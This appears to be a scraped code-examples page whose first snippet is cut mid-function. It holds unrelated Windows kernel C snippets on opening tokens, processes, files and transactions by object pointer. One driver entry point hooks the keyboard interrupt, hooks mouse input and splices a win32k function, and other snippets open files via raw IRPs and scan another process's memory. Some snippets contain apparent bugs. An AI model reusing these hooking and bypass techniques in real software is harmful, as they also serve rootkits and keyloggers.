	if (!NT_SUCCESS(Status)) goto ByeBye;

	/* Set communications parameters */
	TRACE_(SERENUM, "Set communications parameters\n");
	/* DLAB off */
	Fcr = 0;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_FIFO_CONTROL,
		&Fcr, sizeof(Fcr), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	/* Set serial port speed */
	BaudRate = 1200;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_BAUD_RATE,
		&BaudRate, sizeof(BaudRate), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	/* Set LCR */
	LCR.WordLength = 7;
	LCR.Parity = NO_PARITY;
	LCR.StopBits = STOP_BITS_2;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_LINE_CONTROL,
		&LCR, sizeof(LCR), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;

	/* Flush receive buffer */
	TRACE_(SERENUM, "Flush receive buffer\n");
	Command = SERIAL_PURGE_RXCLEAR;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_MODEM_CONTROL,
		&Command, sizeof(Command), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	/* Wait 100 ms */
	Wait(100);

	/* Enable DTR/RTS */
	TRACE_(SERENUM, "Enable DTR/RTS\n");
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_DTR,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_RTS,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;

	/* Set timeout to 500 microseconds */
	TRACE_(SERENUM, "Set timeout to 500 microseconds\n");
	Timeouts.ReadIntervalTimeout = 100;
	Timeouts.ReadTotalTimeoutMultiplier = 0;
	Timeouts.ReadTotalTimeoutConstant = 500;
	Timeouts.WriteTotalTimeoutMultiplier = Timeouts.WriteTotalTimeoutConstant = 0;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_TIMEOUTS,
		&Timeouts, sizeof(Timeouts), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;

	/* Fill the read buffer */
	TRACE_(SERENUM, "Fill the read buffer\n");
	Status = ReadBytes(LowerDevice, Buffer, sizeof(Buffer)/sizeof(Buffer[0]), (PVOID)&Count);
	if (!NT_SUCCESS(Status)) goto ByeBye;

	RtlInitUnicodeString(&DeviceId, L"Serenum\\Mouse");
	RtlInitUnicodeString(&InstanceId, L"0000"); /* FIXME */
	for (i = 0; i < Count; i++)
	{
		if (Buffer[i] == 'B')
		{
			/* Sign for Microsoft Ballpoint */
			/* Hardware id: *PNP0F09
			 * Compatible id: *PNP0F0F, SERIAL_MOUSE
			 */
			RtlInitUnicodeString(&DeviceDescription, L"Microsoft Ballpoint device");
			SerenumInitMultiSzString(&HardwareIds, "*PNP0F09", NULL);
			SerenumInitMultiSzString(&CompatibleIds, "*PNP0F0F", "SERIAL_MOUSE", NULL);
			Status = ReportDetectedDevice(DeviceObject,
				&DeviceDescription, &DeviceId, &InstanceId, &HardwareIds, &CompatibleIds);
			RtlFreeUnicodeString(&HardwareIds);
			RtlFreeUnicodeString(&CompatibleIds);
			goto ByeBye;
		}
		else if (Buffer[i] == 'M')
		{
			/* Sign for Microsoft Mouse protocol followed by button specifier */
			if (i == sizeof(Buffer) - 1)
			{
				/* Overflow Error */
				Status = STATUS_DEVICE_NOT_CONNECTED;
				goto ByeBye;
			}
			switch (Buffer[i + 1])
			{
				case '3':
					/* Hardware id: *PNP0F08
					 * Compatible id: SERIAL_MOUSE
					 */
					RtlInitUnicodeString(&DeviceDescription, L"Microsoft Mouse with 3-buttons");
					SerenumInitMultiSzString(&HardwareIds, "*PNP0F08", NULL);
					SerenumInitMultiSzString(&CompatibleIds, "SERIAL_MOUSE", NULL);
					break;
				default:
					/* Hardware id: *PNP0F01
					 * Compatible id: SERIAL_MOUSE
					 */
					RtlInitUnicodeString(&DeviceDescription, L"Microsoft Mouse with 2-buttons or Microsoft Wheel Mouse");
					SerenumInitMultiSzString(&HardwareIds, "*PNP0F01", NULL);
					SerenumInitMultiSzString(&CompatibleIds, "SERIAL_MOUSE", NULL);
					break;
			}
			Status = ReportDetectedDevice(DeviceObject,
				&DeviceDescription, &DeviceId, &InstanceId, &HardwareIds, &CompatibleIds);
			RtlFreeUnicodeString(&HardwareIds);
			RtlFreeUnicodeString(&CompatibleIds);
			goto ByeBye;
		}
	}

	Status = STATUS_DEVICE_NOT_CONNECTED;

ByeBye:
	/* Close port */
	if (Handle)
		ZwClose(Handle);
	return Status;
}
Ejemplo n.º 25
0
NTSTATUS
NtOpenThreadToken(
    IN HANDLE ThreadHandle,
    IN ACCESS_MASK DesiredAccess,
    IN BOOLEAN OpenAsSelf,
    OUT PHANDLE TokenHandle
    )

/*++


Routine Description:

Open a token object associated with a thread and return a handle that
may be used to access that token.

Arguments:

    ThreadHandle - Specifies the thread whose token is to be opened.

    DesiredAccess - Is an access mask indicating which access types
        are desired to the token.  These access types are reconciled
        with the Discretionary Access Control list of the token to
        determine whether the accesses will be granted or denied.

    OpenAsSelf - Is a boolean value indicating whether the access should
        be made using the calling thread's current security context, which
        may be that of a client if impersonating, or using the caller's
        process-level security context.  A value of FALSE indicates the
        caller's current context should be used un-modified.  A value of
        TRUE indicates the request should be fulfilled using the process
        level security context.

        This parameter is necessary to allow a server process to open
        a client's token when the client specified IDENTIFICATION level
        impersonation.  In this case, the caller would not be able to
        open the client's token using the client's context (because you
        can't create executive level objects using IDENTIFICATION level
        impersonation).

    TokenHandle - Receives the handle of the newly opened token.

Return Value:

    STATUS_SUCCESS - Indicates the operation was successful.

    STATUS_NO_TOKEN - Indicates an attempt has been made to open a
        token associated with a thread that is not currently
        impersonating a client.

    STATUS_CANT_OPEN_ANONYMOUS - Indicates the client requested anonymous
        impersonation level.  An anonymous token can not be openned.

--*/
{

    KPROCESSOR_MODE PreviousMode;
    NTSTATUS Status;

    PVOID Token;
    PTOKEN NewToken = NULL;
    BOOLEAN CopyOnOpen;
    BOOLEAN EffectiveOnly;
    SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
    SE_IMPERSONATION_STATE DisabledImpersonationState;
    BOOLEAN RestoreImpersonationState = FALSE;

    HANDLE LocalHandle;
    SECURITY_DESCRIPTOR SecurityDescriptor;
    OBJECT_ATTRIBUTES ObjectAttributes;
    PACL NewAcl = NULL;
    PETHREAD Thread;
    PETHREAD OriginalThread = NULL;
    PACCESS_TOKEN PrimaryToken;
    SECURITY_SUBJECT_CONTEXT SubjectSecurityContext;

    PAGED_CODE();

    PreviousMode = KeGetPreviousMode();

    //
    //  Probe parameters
    //

    if (PreviousMode != KernelMode) {

        try {

            ProbeForWriteHandle(TokenHandle);

        } except(EXCEPTION_EXECUTE_HANDLER) {
            return GetExceptionCode();
        }  // end_try

    } //end_if

    //
    // Valdiate access to the thread and obtain a pointer to the
    // thread's token (if there is one).  If successful, this will
    // cause the token's reference count to be incremented.
    //
    // This routine disabled impersonation as necessary to properly
    // honor the OpenAsSelf flag.
    //

    Status = SepOpenTokenOfThread( ThreadHandle,
                                  OpenAsSelf,
                                  ((PACCESS_TOKEN *)&Token),
                                  &OriginalThread,
                                  &CopyOnOpen,
                                  &EffectiveOnly,
                                  &ImpersonationLevel
                                  );

    if (!NT_SUCCESS(Status)) {
        return Status;
    }


    //
    //  The token was successfully referenced.
    //

    //
    // We need to create and/or open a token object, so disable impersonation
    // if necessary.
    //

    if (OpenAsSelf) {
         RestoreImpersonationState = PsDisableImpersonation(
                                         PsGetCurrentThread(),
                                         &DisabledImpersonationState
                                         );
    }

    //
    //  If the CopyOnOpen flag is not set, then the token can be
    //  opened directly.  Otherwise, the token must be duplicated,
    //  and a handle to the duplicate returned.
    //

    if (CopyOnOpen) {

        //
        // Create the new security descriptor for the token.
        //
        // We must obtain the correct SID to put into the Dacl.  Do this
        // by finding the process associated with the passed thread
        // and grabbing the User SID out of that process's token.
        // If we just use the current SubjectContext, we'll get the
        // SID of whoever is calling us, which isn't what we want.
        //

        Status = ObReferenceObjectByHandle(
                     ThreadHandle,
                     THREAD_ALL_ACCESS,
                     PsThreadType,
                     KernelMode,
                     (PVOID)&Thread,
                     NULL
                     );

        //
        // Verify that the handle is still pointer to the same thread\
        // BUGBUG: wrong error code.
        //

        if (NT_SUCCESS(Status) && (Thread != OriginalThread)) {
            Status = STATUS_OBJECT_TYPE_MISMATCH;
        }

        if (NT_SUCCESS(Status)) {

            PrimaryToken = PsReferencePrimaryToken(Thread->ThreadsProcess);

            Status = SepCreateImpersonationTokenDacl(
                         (PTOKEN)Token,
                         PrimaryToken,
                         &NewAcl
                         );

            PsDereferencePrimaryToken( PrimaryToken );

            if (NT_SUCCESS( Status )) {

                if (NewAcl != NULL) {

                    //
                    // There exist tokens that either do not have security descriptors at all,
                    // or have security descriptors, but do not have DACLs.  In either case, do
                    // nothing.
                    //

                    Status = RtlCreateSecurityDescriptor ( &SecurityDescriptor, SECURITY_DESCRIPTOR_REVISION );
                    ASSERT( NT_SUCCESS( Status ));

                    Status = RtlSetDaclSecurityDescriptor (
                                 &SecurityDescriptor,
                                 TRUE,
                                 NewAcl,
                                 FALSE
                                 );

                    ASSERT( NT_SUCCESS( Status ));
                }

                InitializeObjectAttributes(
                    &ObjectAttributes,
                    NULL,
                    0L,
                    NULL,
                    NewAcl == NULL ? NULL : &SecurityDescriptor
                    );

                //
                // Open a copy of the token
                //

                Status = SepDuplicateToken(
                             (PTOKEN)Token,        // ExistingToken
                             &ObjectAttributes,    // ObjectAttributes
                             EffectiveOnly,        // EffectiveOnly
                             TokenImpersonation,   // TokenType
                             ImpersonationLevel,   // ImpersonationLevel
                             KernelMode,           // RequestorMode must be kernel mode
                             &NewToken
                             );

                if (NT_SUCCESS( Status )) {

                    //
                    // Reference the token so it doesn't go away
                    //

                    ObReferenceObject(NewToken);

                    //
                    //  Insert the new token
                    //

                    Status = ObInsertObject( NewToken,
                                             NULL,
                                             DesiredAccess,
                                             0,
                                             (PVOID *)NULL,
                                             &LocalHandle
                                             );
                }
            }
        }


    } else {

        //
        // We do not have to modify the security on the token in the static case,
        // because in all the places in the system where impersonation takes place
        // over a secure transport (e.g., LPC), CopyOnOpen is set.  The only reason
        // we'be be here is if the impersonation is taking place because someone did
        // an NtSetInformationThread and passed in a token.
        //
        // In that case, we absolutely do not want to give the caller guaranteed
        // access, because that would allow anyone who has access to a thread to
        // impersonate any of that thread's clients for any access.
        //

        //
        //  Open the existing token
        //

        Status = ObOpenObjectByPointer(
                     (PVOID)Token,         // Object
                     0,                    // HandleAttributes
                     NULL,                 // AccessState
                     DesiredAccess,        // DesiredAccess
                     SepTokenObjectType,   // ObjectType
                     PreviousMode,         // AccessMode
                     &LocalHandle          // Handle
                     );
    }

    if (NewAcl != NULL) {
        ExFreePool( NewAcl );
    }

    if (RestoreImpersonationState) {
        PsRestoreImpersonation(
            PsGetCurrentThread(),
            &DisabledImpersonationState
            );
    }

    //
    //  And decrement the reference count of the existing token to counter
    //  the action performed by PsOpenTokenOfThread.  If the open
    //  was successful, the handle will have caused the token's
    //  reference count to have been incremented.
    //

    ObDereferenceObject( Token );

    if (NT_SUCCESS( Status ) && CopyOnOpen) {

        //
        // Assign the newly duplicated token to the thread.
        //

        PsImpersonateClient( Thread,
                             NewToken,
                             FALSE,  // turn off CopyOnOpen flag
                             EffectiveOnly,
                             ImpersonationLevel
                             );

    }

    //
    // We've impersonated the token so let go of oure reference
    //

    if (NewToken != NULL) {
        ObDereferenceObject( NewToken );
    }

    if (CopyOnOpen && (Thread != NULL)) {

        ObDereferenceObject( Thread );
    }

    if (OriginalThread != NULL) {
        ObDereferenceObject(OriginalThread);
    }

    //
    //  Return the new handle
    //

    if (NT_SUCCESS(Status)) {
        try { *TokenHandle = LocalHandle; }
            except(EXCEPTION_EXECUTE_HANDLER) { return GetExceptionCode(); }
    }

    return Status;

}
Ejemplo n.º 26
0
NTSTATUS
NtOpenProcessToken(
    IN HANDLE ProcessHandle,
    IN ACCESS_MASK DesiredAccess,
    OUT PHANDLE TokenHandle
    )

/*++

Routine Description:

    Open a token object associated with a process and return a handle
    that may be used to access that token.

Arguments:

    ProcessHandle - Specifies the process whose token is to be
        opened.

    DesiredAccess - Is an access mask indicating which access types
        are desired to the token.  These access types are reconciled
        with the Discretionary Access Control list of the token to
        determine whether the accesses will be granted or denied.

    TokenHandle - Receives the handle of the newly opened token.

Return Value:

    STATUS_SUCCESS - Indicates the operation was successful.

--*/
{

    PVOID Token;
    KPROCESSOR_MODE PreviousMode;
    NTSTATUS Status;

    HANDLE LocalHandle;

    PAGED_CODE();

    PreviousMode = KeGetPreviousMode();

    //
    //  Probe parameters
    //

    if (PreviousMode != KernelMode) {

        try {

            ProbeForWriteHandle(TokenHandle);

        } except(EXCEPTION_EXECUTE_HANDLER) {
            return GetExceptionCode();
        }  // end_try

    } //end_if


    //
    // Valdiate access to the process and obtain a pointer to the
    // process's token.  If successful, this will cause the token's
    // reference count to be incremented.
    //

    Status = PsOpenTokenOfProcess( ProcessHandle, ((PACCESS_TOKEN *)&Token));

    if (!NT_SUCCESS(Status)) {
        return Status;
    }

    //
    //  Now try to open the token for the specified desired access
    //

    Status = ObOpenObjectByPointer(
                 (PVOID)Token,         // Object
                 0,                    // HandleAttributes
                 NULL,                 // AccessState
                 DesiredAccess,        // DesiredAccess
                 SepTokenObjectType,   // ObjectType
                 PreviousMode,         // AccessMode
                 &LocalHandle          // Handle
                 );

    //
    //  And decrement the reference count of the token to counter
    //  the action performed by PsOpenTokenOfProcess().  If the open
    //  was successful, the handle will have caused the token's
    //  reference count to have been incremented.
    //

    ObDereferenceObject( Token );

    //
    //  Return the new handle
    //

    if (NT_SUCCESS(Status)) {

        try {

            *TokenHandle = LocalHandle;

        } except(EXCEPTION_EXECUTE_HANDLER) {

            return GetExceptionCode();

        }
    }

    return Status;

}
Ejemplo n.º 27
0
NTSTATUS  KernelOpenFile(wchar_t *FileFullName, 
	PHANDLE FileHandle, 
	ACCESS_MASK DesiredAccess, 
	ULONG FileAttributes, 
	ULONG ShareAccess, 
	ULONG CreateDisposition, 
	ULONG CreateOptions)
{
	WCHAR SystemRootName[32]=L"\\SystemRoot";
	WCHAR *FileNodeName=NULL;
	UNICODE_STRING FilePath;
	PDEVICE_OBJECT RealDevice,DeviceObject;
	NTSTATUS status=STATUS_UNSUCCESSFUL;
	PFILE_OBJECT FileObject;

	FileNodeName = (WCHAR*)ExAllocatePool(NonPagedPool,260*2);
	if (FileNodeName==NULL)
	{
		return status;
	}
	RtlZeroMemory(FileNodeName,260*2);
	if (_wcsnicmp(FileFullName,SystemRootName,wcslen(SystemRootName)) == 0)
	{
		int Len;
		if(!GetWindowsRootName(FileNodeName))
		{
			ExFreePool(FileNodeName);
			return status;
		}
		Len=wcslen(SystemRootName);
		wcscat(FileNodeName,&FileFullName[Len]);
	}
	else
	{
		if (FileFullName[1]!=0x003A||FileFullName[2]!=0x005C)
		{
			return status;

		}
		wcscpy(FileNodeName,&FileFullName[2]);
	}

	if(!GetDeviceObjectFromFileFullName(FileFullName,&RealDevice,&DeviceObject))
	{
		ExFreePool(FileNodeName);
		return status;
	}
	RtlInitUnicodeString(&FilePath,FileNodeName);
	status = IrpCreateFile(&FilePath,DesiredAccess,FileAttributes,ShareAccess,CreateDisposition,CreateOptions,DeviceObject,RealDevice,&FileObject);
	if (!NT_SUCCESS(status))
	{
		ExFreePool(FileNodeName);
		return status;
	}
	status=ObOpenObjectByPointer(
		FileObject,
		OBJ_KERNEL_HANDLE,    //verifier下测试要指定OBJ_KERNEL_HANDLE
		0,
		DesiredAccess|0x100000,
		*IoFileObjectType,
		0,
		FileHandle);

	ObfDereferenceObject(FileObject);

	return status;
}
Ejemplo n.º 28
0
EXTERN_C VOID EnumProcessModuleByVM( PEPROCESS pEProcess, PALL_PROCESS_MODULE_INFO pAllModuleInf )
{

	ULONG dwStartAddr = 0x00000000;
	HANDLE hProcess;
	MEMORY_BASIC_INFORMATION mbi;
	PUNICODE_STRING pSectionNam = NULL;
	OBJECT_ATTRIBUTES ObjectAttributes;
	CLIENT_ID ClientId={0};
	NTSTATUS status;
	int i=0;
	int count = -1;
	ULONG ulDllSize;
	//BOOL bInit = FALSE;



	//WinVer = GetWindowsVersion();
	//switch(WinVer)
	//{
	//case WINDOWS_VERSION_XP:
	//	if (!MmIsAddressValidEx(ZwQueryVirtualMemory)){
	//		ZwQueryVirtualMemory = GetZwQueryVirtualMemoryAddress();
	//	}
	//	break;
	//case WINDOWS_VERSION_7_7600_UP:
	//case WINDOWS_VERSION_7_7000:
	//	ReLoadNtosCALL((PVOID)(&ZwQueryVirtualMemory),L"ZwQueryVirtualMemory",SystemKernelModuleBase,(ULONG)ImageModuleBase); //win7导出了,可以直接用
	//	break;
	//case WINDOWS_VERSION_2K3_SP1_SP2:
	//	if (!MmIsAddressValidEx(ZwQueryVirtualMemory)){
	//		ZwQueryVirtualMemory = GetZwQueryVirtualMemoryAddress();
	//	}
	//	break;
	//}
	//ReLoadNtosCALL((PVOID)(&RObOpenObjectByPointer),L"ObOpenObjectByPointer",SystemKernelModuleBase,(ULONG)ImageModuleBase);
	//ReLoadNtosCALL((PVOID)(&RExAllocatePool),L"ExAllocatePool",SystemKernelModuleBase,(ULONG)ImageModuleBase);
	//ReLoadNtosCALL((PVOID)(&RExFreePool),L"ExFreePool",SystemKernelModuleBase,(ULONG)ImageModuleBase);
	//ReLoadNtosCALL((PVOID)(&RZwClose),L"ZwClose",SystemKernelModuleBase,(ULONG)ImageModuleBase);
	//if (ZwQueryVirtualMemory &&
	//	RObOpenObjectByPointer &&
	//	RExAllocatePool &&
	//	RExFreePool &&
	//	RZwClose)
	//{
	//	bInit = TRUE;
	//}
	//if (!bInit)
	//	return ;

	////进程已经退出鸟
	//if (!IsExitProcess((PEPROCESS)EProcess)){
	//	return ;
	//}
	status = ObOpenObjectByPointer(
		(PVOID)pEProcess,          // Object    
		OBJ_KERNEL_HANDLE,  // HandleAttributes    
		NULL,               // PassedAccessState OPTIONAL    
		(ACCESS_MASK)0,       // DesiredAccess    
		*PsProcessType,     // ObjectType    
		KernelMode,         // AccessMode    
		&hProcess);    
	if (!NT_SUCCESS(status))
	{
		//if (DebugOn)
		//KdPrint(("ObOpenObjectByPointer failed:%d",RtlNtStatusToDosError(status)));
		return ;
	}
	pSectionNam = (PUNICODE_STRING)ExAllocatePool(NonPagedPool, MAX_PATH * sizeof(WCHAR));
	if (!pSectionNam)
	{
		ZwClose(hProcess);
		return;
	}
	RtlZeroMemory(pSectionNam->Buffer, MAX_PATH * sizeof(WCHAR));
	pSectionNam->MaximumLength = MAX_PATH;

	__try
	{
		for (dwStartAddr = 0; dwStartAddr < 0x7fffffff; dwStartAddr = dwStartAddr + 0x10000)
		{
			status = ZwQueryVirtualMemory(
				hProcess,
				(PVOID)dwStartAddr,
				MemoryBasicInformation,
				&mbi,
				sizeof(MEMORY_BASIC_INFORMATION),
				0
				);
			if (NT_SUCCESS(status) && mbi.Type == MEM_IMAGE)
			{
				status = ZwQueryVirtualMemory(
					hProcess,
					(PVOID)dwStartAddr,
					MemorySectionName,
					pSectionNam,
					MAX_PATH*sizeof(WCHAR),
					0
					);
				if (NT_SUCCESS(status) && !MmIsAddressValid(pSectionNam->Buffer))
				{
					//如果当前的DLL模块路径 不等于前一个,则说明是开始了下一个DLL的枚举了,首先判断第一个字节是否是'\'
					if (((PCHAR)pSectionNam->Buffer)[0] == 0x5c)
					{ 
						if (count == -1 ||\
							RtlCompareMemory(pAllModuleInf->vModuleInf[count].ImagePathName, pSectionNam->Buffer, pSectionNam->Length)\
							!= pSectionNam->Length)
						{
							RtlCopyMemory(pAllModuleInf->vModuleInf[++count].ImagePathName, pSectionNam->Buffer, pSectionNam->Length);
							for (ulDllSize = dwStartAddr+mbi.RegionSize; ulDllSize < 0x7fffffff; ulDllSize += mbi.RegionSize)
							{
								status = ZwQueryVirtualMemory(
									hProcess,
									(PVOID)ulDllSize,
									MemoryBasicInformation,
									&mbi,
									sizeof(MEMORY_BASIC_INFORMATION),
									0
									);
								if (NT_SUCCESS(status) && mbi.Type != MEM_IMAGE)
								{
									pAllModuleInf->vModuleInf[count].size = ulDllSize - dwStartAddr;
								}
							}
						}
					}
				}
			}
		}

	}__except(EXCEPTION_EXECUTE_HANDLER){}
_FunctionRet:
	pAllModuleInf->uCount = count;
	ExFreePool(pSectionNam);
	ZwClose(hProcess);
}
Ejemplo n.º 29
0
//
// Driver entry point
//
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING )
{
	DriverObject->DriverUnload = DriverUnload;
	KdPrint(("[~] DriverEntry()\n"));

	PsGetVersion (&MajorVersion, &MinorVersion, 0, 0);

	if (MajorVersion >= 6)
	{
		KdPrint(("Windows Vista and later are not supported yet\n"));
		return STATUS_NOT_SUPPORTED;
	}
	if (MajorVersion < 5 || MinorVersion == 0)
	{
		KdPrint(("Windows NT and 2000 are not supported\n"));
		return STATUS_NOT_SUPPORTED;
	}

	ASSERT (MajorVersion == 5);
	ASSERT (MinorVersion >= 1 && MinorVersion <= 2);

	if (MinorVersion == 1)
	{
		KdPrint(("Running on Windows XP\n"));
	}
	else
	{
		KdPrint(("Running on Windows 2003 Server\n"));
	}

	if (KeNumberProcessors > 1)
	{
		KdPrint(("Loading on multiprocessor system (NumberProcessors %d)\n", KeNumberProcessors));
	}
	else
	{
		KdPrint(("Loading on uniprocessor system\n"));
	}

	KdPrint (("First hello from nt\n"));

	if(!NT_SUCCESS(W32FindAndSwapIAT ()))
	{
		KdPrint(("could not swap import\n"));
		return STATUS_INVALID_FILE_FOR_SECTION;
	}

	// import something from W32k
	EngPrint ("Second hello from win32k\n");

	HANDLE hCsrProcess;
	NTSTATUS Status;

	Status = ObOpenObjectByPointer (
		CsrProcess,
		OBJ_KERNEL_HANDLE,
		NULL, 
		PROCESS_ALL_ACCESS,
		*PsProcessType, 
		KernelMode, 
		&hCsrProcess
		); 

	if (!NT_SUCCESS(Status))
	{
		KdPrint(("ObOpenObjectByPointer failed with status %X\n", Status));
		W32ReleaseCall();
		return Status;
	}

	KdPrint(("csr opened, handle %X\n", hCsrProcess));

	//
	// EngLoadImage uses KeAttachProcess/KeDetachProcess to attach to csrss process
	// KeDetachProcess detaches to thread's original process, but our thread's
	// original process is System! (because we are running in the context of system
	// worker thread that loads a driver). 
	//    (
	//    |  fucken windows programmers could not call KeStackAttachProcess 
	//    |   instead of KeAttachProcess :(
	//    )
	// So we have to run our function in the context of csrss.exe
	//

	HANDLE ThreadHandle;
	CLIENT_ID ClientId;
	OBJECT_ATTRIBUTES Oa;
	InitializeObjectAttributes (&Oa, NULL, OBJ_KERNEL_HANDLE, 0, 0);

	Status = PsCreateSystemThread (
		&ThreadHandle,
		THREAD_ALL_ACCESS,
		&Oa,
		hCsrProcess,
		&ClientId,
		REINITIALIZE_ADAPTER,
		NULL
		);

	if (!NT_SUCCESS(Status))
	{
		KdPrint(("PsCreateSystemThread failed with status %X\n", Status));
		ZwClose (hCsrProcess);
		W32ReleaseCall();
		return Status;
	}

	KdPrint(("thread created, handle %X\n", ThreadHandle));

	PETHREAD Thread;

	Status = ObReferenceObjectByHandle(
		ThreadHandle,
		THREAD_ALL_ACCESS,
		*PsThreadType,
		KernelMode,
		(PVOID*) &Thread,
		NULL
		);

	if (!NT_SUCCESS(Status))
	{
		KdPrint(("ObReferenceObjectByHandle failed with status %X\n", Status));
		// cannot unload because thread is running
		KeBugCheck (0);
	}

	KdPrint(("thread referenced to %X\n", Thread));

	KeWaitForSingleObject (Thread, Executive, KernelMode, FALSE, NULL);

	KdPrint(("Thread terminated\n"));

	ZwClose (hCsrProcess);
	ObDereferenceObject (Thread);
	ZwClose (ThreadHandle);

	KdPrint(("success\n", hCsrProcess));

	if (!pDrvCopyBits)
	{
		KdPrint(("Could not find DrvCopyBits\n"));
		W32ReleaseCall();
		return STATUS_UNSUCCESSFUL;
	}

	//
	// Query keyboard LEDs
	//

	if(!NT_SUCCESS(KbdWinQueryLeds()))
	{
		W32ReleaseCall();
		return STATUS_UNSUCCESSFUL;
	}

	PSHARED_DISP_DATA disp = GetSharedData();
	if (!disp)
	{
		EngPrint ("ngvid: could not get shared data\n");
		W32ReleaseCall();
		return STATUS_UNSUCCESSFUL;
	}
	if (disp->Signature != SHARED_SIGNATURE)
	{
		EngPrint ("ngvid: Damaged shared block %X signature %X should be %X\n",
			disp, disp->Signature, SHARED_SIGNATURE);
		//__asm int 3

		W32ReleaseCall();
		return STATUS_UNSUCCESSFUL;
	}

	KdPrint (("Got shared %X Sign %X Surf %X\n", disp, disp->Signature, disp->pPrimarySurf));

#if 0
	//
	// Temporarily hook DrvCopyBits
	//

	pDrvCopyBits = disp->pDrvCopyBits;

#endif

	if (!disp->pPrimarySurf)
	{
		KdPrint(("DrvCopyBits %X\n", pDrvCopyBits));

		KeInitializeEvent (&SynchEvent, SynchronizationEvent, FALSE);

		if (SpliceFunctionStart (pDrvCopyBits, NewDrvCopyBits, SplicingBuffer, sizeof(SplicingBuffer), BackupBuffer, &BackupWritten, FALSE))
		{
			KdPrint(("SpliceFunctionStart FAILED!!!\n"));
			W32ReleaseCall();
			return STATUS_UNSUCCESSFUL;
		}

		KdPrint(("Now you have to move mouse pointer across the display ...\n"));

		KeWaitForSingleObject (&SynchEvent, Executive, KernelMode, FALSE, NULL);

		UnspliceFunctionStart (pDrvCopyBits, BackupBuffer, FALSE);

		KdPrint(("Wait succeeded, so got primary surf %X\n", pPrimarySurf));
		disp->pPrimarySurf = pPrimarySurf;
	}
	else
	{
		KdPrint(("Already have primary surface\n"));
		pPrimarySurf = disp->pPrimarySurf;
	}

	// Hook kbd & mouse

#if KBD_HOOK_ISR
	OldKbd = GetIOAPICIntVector (1);
	*(PVOID*)&OldISR = IoHookInterrupt ( (UCHAR)OldKbd, InterruptService);
#else
	CreateTrampoline();
	//I8042HookKeyboard  ((PI8042_KEYBOARD_ISR) IsrHookRoutine);
#endif

	MouseInitialize (StateChangeCallbackRoutine);

	KdPrint(("Keyboard & mouse hooked\n"));

	// Initialize reset DPC
	KeInitializeDpc (&HotkeyResetStateDpc, HotkeyResetStateDeferredRoutine, NULL);

	//
	// Perform multiprocessor initialization
	//

	DbgHalInitializeMP ();

	///

	Worker();

	///

	W32ReleaseCall();

	DbgInitialize ();

	KdPrint(("[+] Driver initialization successful\n"));
	return STATUS_SUCCESS;
}
Ejemplo n.º 30
0
NTSTATUS
EnlistInTransaction(
    __out PHANDLE EnlistmentHandle,
    __in ACCESS_MASK DesiredAccess,
    __in PVOID Transaction,
    __in NOTIFICATION_MASK NotificationMask,
    __in_opt PVOID EnlistmentKey
    )
/*++

Routine Description:

    This method is a wrapper around ZwCreateEnlistment. It outputs a handle
    to the enlistment object which represent's a resource manager's 
    enlistment to a transaction. Enlisting to a transaction allows the 
    resource manager to receive notifications about a transaction's events.

Arguments:

    EnlistmentHandle - Pointer to variable that receives the handle to the 
                       new enlistment object.

    DesiredAccess - Specifies the requested access to the enlistment object.

    Transaction - Transaction object

    NotificationMask - A bitwise OR of TRANSACTION_NOTIFY_Xxx values defined 
                       in Ktmtypes.h. It specifies the types of transaction
                       notifications that KTM will send to the caller.
    
    EnlistmentKey - A caller-defined context value that uniquely identifies the 
                    enlistment. The callback routine registered when callbacks
                    were enabled in the resource manager receives this value.

Return Value:

    NTSTATUS

--*/
{

    NTSTATUS Status;
    HANDLE TransactionHandle = NULL;  
    OBJECT_ATTRIBUTES ObjAttributes;

    //
    // Get a handle to the transaction object
    //
    
    Status = ObOpenObjectByPointer(Transaction,
                                   OBJ_KERNEL_HANDLE,
                                   NULL,
                                   TRANSACTION_ALL_ACCESS,
                                   *TmTransactionObjectType,
                                   KernelMode,
                                   &TransactionHandle);

    if (!NT_SUCCESS(Status)) {
        ErrorPrint("ObOpenObjectByPointer failed. Status 0x%x.", Status);
        return Status;
    }
    
    //
    // Use the transaction handle and the volatile RM created in
    // CreateKTMResourceManager() to enlist to the transaction.
    //
    
    InitializeObjectAttributes(&ObjAttributes,
                               NULL,
                               OBJ_KERNEL_HANDLE,
                               NULL,
                               NULL);

    Status = ZwCreateEnlistment(EnlistmentHandle,
                                DesiredAccess,
                                ResourceManager,
                                TransactionHandle,
                                &ObjAttributes,
                                0,
                                NotificationMask,
                                EnlistmentKey);

    ZwClose(TransactionHandle);
    if (!NT_SUCCESS(Status)) {
        ErrorPrint("ZwCreateEnlistment failed. Status 0x%x", Status);
    }
    
    return Status;

}